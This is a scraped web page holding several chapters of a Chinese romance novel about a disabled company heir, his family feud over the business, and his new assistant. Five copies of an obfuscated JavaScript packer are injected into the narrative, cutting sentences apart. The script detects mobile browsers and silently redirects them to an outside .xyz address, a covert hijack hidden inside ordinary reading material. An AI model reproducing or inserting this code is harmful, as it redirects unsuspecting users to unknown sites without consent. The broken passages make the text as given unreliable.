d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800343|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “汀兰!”许远山望着自己的女儿,眼神苦痛,“你埋怨我,可以;但是,能不能别再迁怒到你的弟弟?他也不想发生那场意外,我们谁都不想!如果没有那场意外……” 许汀舟动了动嘴唇,刚预备说什么,突然看到自己的姐姐的儿子在客厅一角怯怯与懵懂的眼神,便对一旁的保姆道:“金阿姨,麻烦你把童童带到卧室去。”随后才道: “很不凑巧,意外已经发生了,爸爸。我知道,一个少了一条胳膊又瘸了一条腿的人在社会上立足有多难!所以你给我辟了条捷径,让你的残废儿子可以毫不费力地一步登天,不必在社会上摸爬打滚遭人冷眼相看。而我,也接受了这份好意,因为变成残废以后,我自己也不知道自己还能做些什么、想做些什么。姐,你有理由讨厌我,我对你也有亏欠。其实你说得对,我本不是唯一有资格继承家业的人。”许汀舟瞥向许汀兰夫妇,许汀舟瞥向许汀兰夫妇,“可是,很抱歉,赵富刚不行!” 赵富刚的嘴角抽了一下,脸上的尴尬和愤怒掩藏不住。“汀舟,你这话说得过分,我为许氏做了劳心劳力工作了这么多年总……” “你是想说你有苦劳?”许汀舟冷冷地哼了一声,“也许头两年你为公司确实还算尽力,可是最近这几年,我想,公司没有你会运转得更好。” “汀兰,你看看你弟弟……”赵富刚转而找自己的太太当后援,却只收到许汀兰鄙夷的眼色。 “你们觉得富刚贪婪却无能,可是在你们口中如此不堪的货色,当初全家可没人反对我嫁给他,反而是很开心能有人愿意入赘我们许家呢!”许汀兰红着眼,带着讽刺的语气道。“爸爸,赵富刚再不济,他也是你女儿的丈夫,你孙子的父亲!” “所以他就可以利用你说的这点在公司为所欲为?”许远山问。“我现在虽然是半退休的人,但有些装神弄鬼的事瞒不过我,我不说,是念在我们终究是一家人,也是我内心对你这个女儿的确有愧。可你不该一味纵容你的丈夫,他的胃口太大,我们许家满足不了。” “如果是我要呢?”许汀兰目光炯炯,凝视着自己的父亲,“在你心里,始终把汀舟放在第一位,他要东西,就叫做理所当然,而其他人若想染指,就成了不知足的贪心鬼了!我不是为了赵富刚争,我是为了我自己鸣不平!难道我没有这个资格吗?就算我没有,童童总有吧?他可是姓许,是你的嫡亲孙子!” “童童是我的孙子,可我的孙子不会只有童童一个。”许远山道,“我会给每个儿孙安排宽裕的生活,但至于其他,现在谈还为时过早。每一个人的天赋秉性都不相同,经营好许氏的企业可不是只要姓许就可以做到的。” “说得真好听,还不是指望汀舟给你添个名正言顺的孙子?别怪我没提醒你,就汀舟现在这情况,自身条件好的姑娘也不好找,你以为随随便便找个女人结婚,能生养出什么好孩子?你现在看不上赵富刚,将来还指不定有多瞧不上你的儿媳妇呢!” 5. 不就是一条手臂吗 “姐,”许汀舟赶在父亲发怒之前发了声,望着几尺之外的许汀兰,声调低哑而克制地道,“你似乎忘了,我是你亲弟弟。” 许汀兰目光闪烁,唇瓣翕动。 “还是你觉得,一个残废不配有你这样的姐姐,就如你所说的,我的条件已经不允许拥有一个好姑娘的垂青?”许汀舟冷静地问,“其实,你不说我也知道……” 许汀兰闷声一哼,转身跑出大门,赵富刚跟着追了出去。庭院里传出汽车殷勤发动的声音。 许汀舟缓行到沙发边上,坐了下来。 松开紧握的左手,他凝视着掌心被指甲膈出的印痕,尖锐的痛感自手心直直地传递到了心脏,让他说不出话来。 “汀舟,别理你姐姐那些胡话。”许远山坐到了沙发扶手上,伸手拢了拢他的右肩。 他本能般躲了躲。他感觉得到父亲温暖的手掌贴在了自己的身体上,可是,那儿只留下了一小截残臂,他不知道父亲摸着那一小团骨肉时是什么样的感觉,他只是很想躲开,他不喜欢任何人碰触到他身体上最丑陋的那部分,即便对方是他的至亲。 许远山仿佛知道他的心思,将手移开了:“你姐姐他恨我。你们的关系变成这样,主要还是我的责任。汀舟,我承认,我对你是有偏心的。可她不相信,我心里也有她这个女儿,这也是我容忍她和赵富刚一些所作所为的原因。我记得,小时候你们姐弟的感情并不是这样糟糕,直到现在,我也相信她不会不把你当她的弟弟,看在我的面子上,也看在你们的姐弟血缘情分上,你可不可以原谅她的口不择言?” “爸,”许汀舟道,“说到底,我有什么资格提原谅谁?某种意义上,姐姐说得没有错,是我的存在夺走了她的许多东西。如果她能原谅我,体谅你,我会很高兴的。”他站起身,望着父亲又道,“如果可能的话,我希望您能答应我一件事。” “你说。” “不要把我作为理所当然的公司继承人。”许汀舟道,“我不能做雕塑了,不能做一流的艺术家了,但这不是我可以成为一个一流商人的理由。也许我受伤那时候,我的确不知道自己往后还能做什么,所以,我才会不假思索地接受了你的安排,接管公司的业务。但是现在,我想,那并不是一种必然的选择,于我、于公司都不是。” 许远山沉吟道:“我何尝不知道你说的有道理,可是,我只有你和汀兰两个孩子,说实话,汀兰也不是做生意的材料啊。” “我想,我们有时间让公司转型成功,让所有权和经营权分离,也许有一天,我和姐姐都能过上自己真正想要的生活。只是希望,你能答应我这一请求,毕竟,公司是你一生的心血,没有你的同意,我……” “我同意。”许远山道。 许汀舟的脸上露出惊喜:“爸爸,你答应?” “在我的有生之年,我希望看到你和你的姐姐和好。但是,有些恶人你我必须得做,我想以后,你姐姐会明白这份苦心。” “我会处理好的。” “对了,那天你见的秦叔叔介绍的姑娘怎么样?” 许汀舟道:“才只见了一次,不好说。” “有没有约下次见面?” “约了。” “好,这就好。” 许远山没有继续多问。 许汀舟没有说谎。他的确和那个叫戚巧玲的女孩子约了再次见面的时间。那个女孩是曾给许远山开过车的一个退休司机的侄女。说起来模样不算差,又是在医院做护士,以多数人客观的眼光看,算是很“适合”许汀舟的那一类对象了。 客观衡量的意思是:许汀舟,男,二十八岁,大型家族企业继承人,外形英俊,可惜有残疾;戚巧玲,女,二十四岁,普通工人家庭的女儿,护士,容貌中上,母亲有需要长期和大量医疗费用治疗的慢性病,经济捉襟见肘。 对于这样“般配”的一桩相亲,许汀舟的挚友汪豫和沈乔却不看好。几天后的一次饭后小酌时,汪豫甚至直言不讳地对好友说: “汀舟,你就看不出这种安排有问题?” “有什么问题?”许汀舟笑了笑,晃动着杯中的液体道,“我觉得,人家姑娘没觉得和我继续下去有什么问题,就已经很不错了。” “你脑袋里到底在想什么?”汪豫很不满意他的反应。 “你真不明白我在想什么吗?”许汀舟放下酒杯,“我是说,我的条件,还没有到可以挑剔别人的程度。” “妈/的,不就是一条手臂吗?”汪豫可能是喝多了,有些口不择言起来,抓住一旁的未婚妻沈乔的胳膊摇了摇,道,“诶,你说,要是我丢了一条胳膊,你还要我吗?” 沈乔甩开他,假意生气道:“你发什么神经?” “靠!女人难道都那么现实!”汪豫打了个酒嗝。 沈乔没法和一个醉酒的人较劲,又要顾及身边许汀舟的感受,忙好声好气又无可奈何地安抚道:“好好好,汪大少爷,你变成什么样我都要你,行了吗?” 汪豫显然满意了,扑到沈乔怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800344|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,边点头边哼唧了两声。 许汀舟笑笑地看着这一对活宝:“汪豫,你今天这样子,可别被公司里其他人看到,我怕你威严扫地。” 沈乔把汪豫小心架放下来,任其歪倒在沙发一边休憩,随后转过身来对许汀舟道:“汀舟,其实汪豫的醉话也不是完全没道理。你……你自己可想好了。” “我想好了,”许汀舟认真地说,“我不可能不结婚,而且,坦率地说,我不止是为了顺从我爸爸的安排,我自己可能也……也想成个家。而现在,正好有一个女孩子愿意尝试和我交往,她长得不难看、性格不讨厌、职业也不错,最重要的是,她不嫌弃我残疾,我想,这就足够好了。” 沈乔没有马上回应他,支着手,握成一个拳放在嘴唇上,低头发了一会儿呆。最后,才像下定决心似地低声问道:“那么,你打算拿苏心蕴怎么办?” “我和她不是那种关系。”他把头偏向一边,呷了口酒。 “我知道你们不是,可是,难道你不曾想过……” “这不是一个人能决定的事。”他冷静地说,“我想,我和她都明白彼此的想法,也因为太明白,所以不可能。” “苏心蕴不像是个浅薄势利的女孩子。” 许汀舟淡淡一笑:“反正汪豫现在睡得人事不省,你倒说说,汪豫要真和我似的丢了条胳膊,你还要他吗?” 沈乔露出认真思考的表情,最终点头道:“我还是会嫁给他。” “瞧,你们已经交往了好几年,又有了婚约,在面对这样假设性的问题时你尚且会犹豫,所以,我更不能指望一个从来没有和我开始过恋人关系的女孩,义无反顾地爱上我、接受我,她们抗拒与我发生亲密关系是一种本能。” 沈乔咬了咬唇,一副不甘心又没奈何的神情。 “我大概是做商人久了,也变得务实起来。就像一场谈判如果得不到最期待的结果,能保留底线也算可以接受。” “你的底线是什么?”沈乔问,“像你最新的那个相亲对象似的?” 他的语气让人辨别不出是真假:“也许我还可以把尺子更放低一点。” 汪豫不知什么时候醒了,口齿不清地嚷了一句:“许汀舟你要是敢随随便便找个女的让我叫她嫂子我和你绝交!” 许汀舟朝汪豫身旁挪近了些,放松了身体,往沙发背里靠了靠,幽幽地笑了:“如果是那样真是太好了,你这辈子不会和我绝交的,因为我可能有很多缺点,但从来不是个随随便便的人。” 6. 许boss的崇拜者 眼看时间又近中午十二点,林棉起身,准备招呼要好的同事吃饭。她虽来的时间不长,但人缘还不错。不止直系上司苏心蕴对她提点有加,财务部的沈乔对她一见如故,其他与她打交道的同事也都对她很好。每次在食堂吃饭都热络地坐了一桌。 不过,她还从来没在食堂遇到过许汀舟。 来“文心”这一个礼拜里,她倒是应他的要求替他订过两次外卖。其余几餐,他或者出去吃了,或者压根没吃。 她也曾在过了饭点又不见他走出办公室的时候想好意提醒他注意用餐,可终究还是克制住了“管闲事”的念头。在她心中,许汀舟不是个容易接近的人。虽然她已经不像刚来的时候那么惧怕与他相处,但他仍然不是一个她可以轻易侵犯“领地”的人。他有他的生活习惯,对与不对,她还没有指摘的资格。 所以,当林棉今天吃饭吃到一半,看到许汀舟出现在食堂的时候,她有些惊讶,下意识地看向苏心蕴。 “许总平时也会来员工餐厅午餐吗?”她忍不住问。 苏心蕴道:“会啊。” “那……需要我去帮忙吗?”她并不是在客套,而是看到他身体不便的样子,真心觉得他需要一个人帮忙。 “那倒不用。”苏心蕴平静地说,“领班会帮他把菜送到他的座位上。”她笑了笑,“对于食物,他不怎么挑剔。” 林棉其实不太理解,以他在公司的职位,再加上又行动不便,完全没有必要来挤食堂,莫非是为了和员工打成一片?体现自己不搞特殊化?——额,怎么看他也不像是在乎这些名头的人。 但无论如何,许汀舟的确来了食堂,也正如苏心蕴所言,当他落座后,很快有人把餐盘送上,他侧过身,向对方点头微微一笑,左手拿起了筷子。 他穿着一件薄西装,挺括的料子仍然撑不起右边的袖管。随着他每一次低头吃饭,原本安静地垂在右侧的的袖管也跟着被微微牵动,显得原本应该是手臂的地方更加空空荡荡。 所有人都在安静地吃饭,林棉也很安静:她在安静地注视那独坐残缺的背影。 坐在她一侧的沈乔先发现了她的异样,推了推她的胳膊,小声说:“你干嘛?” “嗯?”林棉晃过神,“我在看许总。” 听到她这么直白的回答,不止沈乔傻眼,桌上的其他人也目光复杂地朝她看了一眼。 她却像完全没有意识到这个回答有多不妥一样,双眼放光,带着几分崇拜道:“我觉得他好勇敢。突然好想为他好好工作!” 所有人都当场石化了。 漫长的两秒钟后,苏心蕴放下筷子,抿了抿嘴:“我想,许总听到自己成为手下员工的励志对象,大概会高兴的。” 林棉这时候才感觉刚才自己的反应有些不妙,忙补救道:“心蕴姐,你饶了我吧,可别出卖我哦!我会死无全尸的!”说着,抬手作了个砍头的动作。 “我不是个爱传话的人。”苏心蕴说得很轻,表情却是严肃的。“你们慢慢吃,我先回去工作了。”说着端起用完的餐盘。 苏心蕴走后,其他人也陆陆续续起身离开食堂,只剩下沈乔还陪着林棉。 “沈乔,我是不是个白痴啊!”林棉懊悔地嘟囔道。“我真的没有恶意的。” “我知道。”沈乔一边叹气一边笑道,“我知道你没有恶意,也知道你刚才真的好白哦!” “连你也笑我白痴……” “不过,我倒是觉得你也蛮直率大胆的。”沈乔说,“你这个人,很对我胃口。” 林棉夸张地做出抱臂害怕状,抬下巴指指餐厅另一头和本部门员工坐在一起用餐的HR经理汪豫道:“对你胃口的在那边呢!” 沈乔拍了她一下,嘻嘻笑道:“好了,不开玩笑,其实,你也没说许汀舟什么坏话,不用心虚。” “可是,我看苏心蕴好像不太高兴啊。”林棉总觉得苏心蕴刚才的表情和平时相比有些冷淡。 沈乔愣了愣,说:“没事的。她……你就当她‘忠心护主’吧。” “这词是不是用得不太对?”林棉不自觉地脱口问道。 “嘿,你这小妮子是想给我上语文课啊?”沈乔斜了她一眼,“反正呢,你没有恶意,苏心蕴也没有恶意,你们两个都是许boss的崇拜者。” “可我不是啊!” “不是吗?”沈乔点点头,似有意又似无意地发了个短促的“哦”。 林棉脑袋有点晕,感觉哪里对哪里又不太对。 “算了,我还是好好回去工作吧。”她觉得以自己平庸的智商,还是不要想东想西了。以有限的精力投入到眼下的这份工作中,好好表现、争取留任才是正经事。 她收起胡思乱想,和沈乔一同起身放好餐盘。 往回走的时候,她看到许汀舟放下了筷子,似乎朝餐盘边的橘子瞄了一眼。 林棉不自觉地开始酝酿微笑,以便许汀舟万一恰好抬头看到她走过来,她能给出一个合适的笑容。 可是她没想到,许汀舟开口住了她:“林棉。” “啊?”她没有心理准备,突然被老板叫住有些心慌。 “我不爱吃橘子,你拿去吃吧。” 林棉本来想客套几句,忽然心里一动,伸手把橘子接了过来:“谢谢许总。” 许汀舟一推开自己办公间的门,便闻到一股很清新的橘子香味。 那不是苏心蕴常用的柑橘香型的香氛模拟的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800345|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是真真实实的橘子味道。 右腿先向前跨出一步,再拖着左腿跟上。 他挪到自己的办公桌前,果然看见桌上的白瓷碟里盛着剥好的橘瓣。 他扶着桌子缓缓坐下来,几乎是陷进了那张真皮椅子里。一上午那些已经经过证实的坏消息让他的眉头几乎没有舒展过,可是这一刻,也不知是否因为这橘子带着些许辛烈提神的香气,竟然让他的心变得放松了一点。 他拿起一瓣橘送入口中,橘子很甜,带着一点点恰到好处的酸味。 他坐直身,左手放到键盘上,点开lync里林棉的对话窗口, 他的手指停了一下,最终只打了两个字: 谢谢! 林棉点开亮起的对话框,看到许汀舟的留言,赶紧回道: 不客气。 她等了几秒钟,见那一头没有了回应,便关掉了对话框。 她刚才剥完橘子之后还犹豫了一下,到底要不要把橘子端进许汀舟的办公室。她当然是出于好意,可是,这份好意会不会反而刺激到对方的伤口,她不得而知。 她最终还是在他桌上留下了水果碟。只因为她相信,一个可以坦然暴露残缺的身体在自己员工的众目睽睽之下吃饭的老板,并不会那么钻牛角尖。然而,她也能理解他有他的自尊心,因此没有对她坦承是因为自己不方便剥皮所以才不吃橘子。而且她分明还记得几天前替他点过楼下咖啡馆里的橙子咖啡。想来,他应该很喜欢柑橘一类水果的味道。 很奇怪,明明给许汀舟工作也没多久,她却觉得自己的观察能力变得强大了许多。 她正预备打开文档继续工作,蓦然发现电脑桌面上的lync有新的对话框提示闪了一下。 竟然是许汀舟发来的。 ——吃了个橘子,居然上瘾。 她没忍住,笑出声来。幸好声音不大,而且办公室里的人似乎都在各自忙碌,没有注意到她的动静。 ——我去食堂问阿姨再要一个? 那一头很快回复: ——这不好。 唔,打破规矩搞特权当然不妥,老板的顾虑可以理解。 林棉又打了一行字: ——那需要我现在出去给您买一点吗? 楼下就有一间超市,虽然规模不大,但里面的东西品质不错,常见的水果的品种也齐全。 ——现在是上班时间。 林棉撇撇嘴,心里暗叹许汀舟刻板。但她当然不敢直接把心里话打出来。 没想到,那一头许boss回道: ——我批准你出去十分钟。 林棉趴在桌上笑了半分钟,然后拉开抽屉,取出钱包,一溜烟地跑向电梯。 7. 我有我的底线 林棉提着一小袋橘子小步跑回了办公室。除了分给临近的同事几个,剩下半袋则放在自己桌角,只拿出两个剥好了盛在小碟中,给许汀舟端了进去。 “动作挺快。”许汀舟见她走过来,微笑道。 “十分钟超过没?”她的鼻尖还冒着细汗,两眼亮亮地望着他问。 她近乎率真的神情逗乐了她,他看了一眼电脑桌面下角的时间:“刚刚好。” “呀,我还真挺快的!这还是算上我剥桔子的时间呢!”她带着点小得意低嚷道。 “以后跑腿的工作看来可以倚仗你了。”他补充道,“希望你不会觉得我的话是种冒犯。我的意思是,我很忙,而且我的腿走不快。所以,显然你比我适合跑腿。” 她小心翼翼地观察着他的神情,并没有太多自怜自伤的情绪,只是,她的心跟着他微微垂下又向上翻起的漆黑睫毛颤动了一下。她无意识地抿紧了嘴唇,一句话也说不出来。 许汀舟道:“不乐意了?” 林棉立即摇头:“怎么会?”正当她要说自己出去工作了的当口,苏心蕴敲门进来了。 苏心蕴似乎是下意识地朝她看了一眼,林棉本来也正好预备走了,便退出了办公室。 林棉走后,苏心蕴道:“早上日本客户的投诉你大概也知道了。这批订单都是高端文具,量也大,没想到在原料环节就已经出了问题。” “我知道赵富刚平时的胃口就很大,只是没想到他胆子也越来越大了。我更没想到的是,他已经拉拢了一帮人替他掩饰,这样大的纰漏,只凭他一个是闹不出来的。说到底,是我无能。” “你的无能在于你的有情。这的确不是一个企业家良好的特质。”苏心蕴说,“你不傻,只是想睁只眼闭只眼,许氏毕竟是家族企业,人情关系难免掣肘,你想给你姐三分面子,可是赵富刚却将你的这一弱点用作十分。我想你也渐渐明白了,这样下去是不行的。还好赵富刚只是一个子公司的副总,饶是这样,那家公司恐怕过不了几年也要成为空壳了。” “我有我的底线。” 苏心蕴抬眉望向他:“哦?” “底线就是输掉一家子公司。” “这之后呢?” “之后我就绝不手软了。” 他的目光倏然变得凌厉,然而坚定中却带着一丝苦痛。 苏心蕴点点头,没有说话。 他指了指桌上盛着橘子的小碟对苏心蕴道:“要不要尝尝?小姑娘刚去买来 的。” 苏心蕴微微一怔,道:“不了,我有,她也给了我一个。” 听她这么说,许汀舟也不再劝,自己伸手吃了一瓣橘。 “对了,帮我尽快订一张去东京的机票,我要亲自给客户登门致歉。” 林棉到底还是答应了母亲安排的相亲。对象是一个亲戚介绍的,三十五岁,离异,无孩,外贸公司小主管。 林棉答应去见他的原因,除了拗不过母亲的说服教育,还有一点也很重要,她看过照片,那个男人虽然比她年长十几岁,长得倒不难看,也不显老。林棉多多少少有些“外貌协会”,若换个猪头大耳、脑满肠肥的对象,恐怕随便母亲怎么软磨硬泡,她都未必能答应去见。 约会的时间地点是对方订的:周六晚上,一家叫“宛松苑”的中餐厅。 为了让母亲满意,林棉还是拾掇了一下自己,甚至还化了一点淡妆。不知道是不是因这仪式感的作用,临出门时她居然有点小紧张了。原本不过想随便应付一下的这场会面,好像也不再完全无足轻重。难道自己也真的想尽快找个归宿了?此念头一起,林棉心底也不觉暗笑。 “宛松苑”位于市中心一栋商务楼的一层。中式复古情调的装潢,总体还算雅致。 事先留好了彼此的电话,林棉在快赶到的时候,就收到了对方的短信,告知了桌号——看来对方是已经提前到了。等一进店里,就由领位员指路找到了那一桌。 初次见面,彼此都有些拘谨地笑着。对方先开口打了招呼: “你好,我是关柏延。” 林棉一边应着:“你好,我是林棉。”一边脱下外套落座。 侍者上了菜单,关柏延示意林棉先点,林棉略客套后随意点了两个,道:“你也点一两个吧。” 关柏延又加了两个菜,另点了些软饮,交还菜单给侍者。 没了菜单的阻挡,两个人面对面反而多了几分不自在。林棉努力让自己看上去自然一些,微笑寒暄道:“这里环境还挺好的。” 关柏延道:“我家就在附近,吃过几次,,觉得还行,我过来也方便,就选的这里。”之后又补了一句,“这里是市中心,我想你过来也是方便的。不介意我选的地方吧?” “不介意,我过来也还算方便。现在地铁四通八达。”林棉家离市中心不很近,地铁要坐十几站,但幸好两头所走的路程皆不超过五分钟,因此也算便利。尽管嘴上这么说,一开始听到林柏延说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800346|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选在这里碰面的直接原因是因为这里离他家近,这话多少让她有些不舒服。只是,对方后一句给出的理由也不失妥当,她也就没再计较。 关柏延点点头,接着说:“我的个人情况林小姐是否都已清楚?” 林棉知道他所指:“我听介绍人说了。” “我也听说了你的一些情况。”关柏延道,“你有一个孩子——是你领养的,对吗?” 林棉倒不觉得对方问得突兀,对于双方交往来说这是一件大事,单刀直入地问没什么不好。“对,是个女孩,三岁了。” 关柏延淡淡地说了句:“以后有机会可以带她出来见一见。” 他的语气虽不热烈,但也算彬彬有礼,林棉觉得初次见面能做到这样也算不错了。她对面前的这个人自然谈不上产生电光石火般的心动感觉,可并不觉得讨厌,属于可以试着交往的对象。 她一向对人对事抱有积极的期待,至少这一刻,她愿意相信,随着时间的推移、了解的深入,她和这位关柏延先生或许会有共同的光明前景。 吃过饭,关柏延便驾车将她送回了家。一顿饭吃了一个多小时,时间还很早。林棉进屋的时候,林妈妈在客厅陪着小谷看电视,见她进门抬头道:“回来啦!今天见得怎么样?” 林棉道:“还行吧。”说着洗了手过来抱小谷,又道:“听专家说小孩子最好不要多电视,会影响语言能力和想象力的。” 林妈妈“嗤”了一声:“你这个甩手掌柜说得有理!只是我们这样的家庭讲究起来可不真成了穷讲究了?我看小谷也不像当得起这个金贵命的。” 其实母亲平日里很疼小谷,只是嘴上不饶人,这一点,林棉也是习惯了的。因此并不打算和她抬杠,只软了口吻说:“那我先哄小谷睡觉去,你再看会儿电视,也早点睡吧。” 林妈妈“嗯”了一声,和林棉一起,把小谷哄上了床。林棉又给她讲了一会儿故事,等她睡着了才去洗澡。 之后,林棉听到母亲从介绍人处得来的反馈,关柏延对她“基本满意”,还夸赞她“长得挺漂亮的”,随后几天她都能收到关柏延的微信问候,甚至之后的一周内还约她看了一场电影,似乎也在印证他所说的话并非单纯客套——可能他对她真的有点动心。对此,林棉也挺高兴的。她没有经历过那种戏剧性很强的爱情经历,但是,身为一个女人,得到一个自己并不讨厌的异性的认可总比得到相反的评价要开心。何况这个人,她也是打算认真交往看看的。 8. 清水送服止疼药 林棉没有忘记,今天是许汀舟从日本出差回来的日子。 此次去日本不过三天时间,机票是她帮订的,同行的还有苏心蕴。只是她没想到,他俩一下飞机便回了公司上班,甚至当她准点敲卡上班时,他们已经先她一步抵达了办公室。 “呀,你们回来啦?”她挎着包一边走一边冲苏心蕴打招呼。 苏心蕴微笑道:“是啊,回家盥洗了一下就赶回来了,眼皮都是肿的。” 林棉走近她,盯着她的眼睛看了几秒:“还好,还是那么明眸善睐!” 苏心蕴打开抽屉拿出一个印着机场免税店Logo的小购物袋递给她:“这次去是忙公事,时间匆忙,也没空挑礼物,机场随手买的,你随便用用吧。” 林棉忙接过,又道谢又言“破费”。打开包装,里面是一支精油护手霜。 “对了,我和许总不在的时候有没有什么特别的事?” “倒也没什么急事,否则我肯定给你打电话了。”林棉道,“哦对了,行政部有一叠付款申请单等着签字,财务经理已经签了,就等许总的签名了。东西他们暂时放我这里了。你看我现在拿进去给他方便吗?” 苏心蕴道:“没事的,他精神还好,你现在进去找他吧。” 林棉从抽屉里取出那叠付款申请单,走向许汀舟的办公室。 三天不见,许汀舟的脸部轮廓似乎更清瘦了些。他的面前放着喝剩下半杯的黑咖啡,已经不再冒热气。看来,他和苏心蕴已经到了有一会儿了。 “许总,这些需要你的签名。”林棉放下付款申请单,见他神色里微有憔悴,想他终究可能有些旅途疲劳,便道,“其实也并不是很急,你歇一会儿,我等一下来拿好了。” 许汀舟道:“帮我一个忙。” 他的声音几乎是从牙缝间挤出来的,显得很吃力,林棉吃了一惊,细细查看才发觉他的面色有些不对,鬓角隐隐透着细密的汗珠。“许总你……” 许汀舟撕下一张便签纸,咬开签字笔的笔帽,写下一些什么字:“帮我去药房买这个药回来。” “这是什么药?”林棉紧张地连纸上写的什么字都没看清,下意识地问了一句。 “很普通的止疼药,非处方的。”许汀舟道,“我平时吃的是另外一种,不过需要处方,今天不巧吃完了,只好用这个暂时替代一下。” 林棉更急了:“非处方药也不是能瞎吃的呀,你到底哪里不舒服?看过医生没?” 许汀舟苦笑:“林小姐,在你问那么多问题以前,能不能先拜托你把药买回来?否则,我恐怕没有力气再应付你。” “好!”林棉心里还是有些不安,但还是攥着那张便签纸往办公室外走了。 “等一下,”许汀舟叫住了她,“出去之后别告诉其他人我不舒服的事,尤其是苏心蕴。回来的时候替我去行政那里随便领些文具搪塞过去。最近的药房出门左拐第三家店铺就是。” 林棉走出办公间的时候,苏心蕴的眼神正好和她碰了个正面,想到许汀舟的叮嘱,她顿时有些心虚,结结巴巴地低头解释道:“我……我肚子不舒服,出去买个药。” 苏心蕴道:“严重吗?要不要去看一下医生?” “不严重,”她红着脸,“就是女孩子每个月的那点事。” “哦,去吧。”苏心蕴道。 林棉买完药,特意绕去行政部领了一点文具,这才回到许汀舟的办公室。 他的脸色比之前更不好了,身体靠着左边的座椅扶手,左手握成了拳头。 林棉撕开药盒的包装,倒出一粒药片递给他,低头发现他的杯子中没有清水,只有半杯冷咖啡。她刚要拿起杯子替他把咖啡倒掉重新装水,他抢先一步把药丸往嘴里一含,拿起杯子用剩下的咖啡把药咽了下去。 林棉“哎”了一声,见已然来不及阻止,只好摇头道:“你也太胡来了,咖啡是用来送药吃的?”说着,拿起他的空杯,走去办公室内自带的洗手间把杯子洗净,又从饮水壶里接了一杯清水放到他跟前。 她的语气自然,显然并未意识到自己的口吻有些越界,而之后的动作就更加自然而然,倒显得之前有些“凶悍”的语气添了几分率直可爱。许汀舟默不作声地看着她做完了这一切,唇角不觉上扬。 林棉不经意地一瞥,恰落在他微弯的嘴唇上,她的心倏然间像一根弦子忽然被绷紧,双手绞在一起,垂头道:“我是不是自作主张了?” “我并不这么认为。”他端起杯子,喝了一口她为他倒上的水,似乎是要印证自己的话出自真心。 林棉情不自禁地拍了一下手,笑得眼睛眯起来了:“对嘛,下次如果懒得起身倒水,可以叫我做,可别拿起什么就乱喝了。” 许汀舟道:“刚才头太疼了,顾不及想太多,只想快点吃了药缓解。对不起。” “你对不起的是你自己的身体呢,”林棉柔声道,“那现在有没有好一点?” 许汀舟点头:“嗯,好一点了。” 林棉见他的脸色仍然很苍白,猜想药效应该没有那么快完全发挥,自己待在他的办公室里也许会打扰他休息,便说“先出去工作”,准备离开。 许汀舟在她转身前问了她一个问题:“林棉,和我一起工作还习惯吗?” 林棉不是很理解问题的重点,但她还是不假思索地地回答道:“习惯。” “你的适应能力还不错。” “为数不多的优点之一吧。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800347|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡笑了笑,左手中指抵着太阳穴,低语道:“可不可以冒昧问一个问题?” 他的语气和神情勾起了她的好奇心:“请问。” “第一眼看到我的时候,对我有什么印象?” “你的眼眶比一般的亚洲人深邃,看人的时候……有一点点严肃。” “这就是全部了?”许汀舟饶有兴味地看向她。 “只记得这些了。”她坦白道。“还有就是……握手的时候我以为你是左撇子。”她纠结了半天,还是说出来了,眼下她带着些许忐忑望向许汀舟,想读取他的情绪反应。 他平静地问:“那么,当你知道我并不是左撇子之后,你又是怎么看我的?” 林棉没料到他会问这个,而这个问题她觉得有必要斟酌后再回答。她既不想刺痛许汀舟的弱点,也不想公式化的虚情假意,思忖过后她说:“我觉得,你用左手或者右手工作,并不是影响我们上下级关系的要素。但是,既然我知道了你的身体有些不便,我可能会比之前更加用心观察你的需要。” 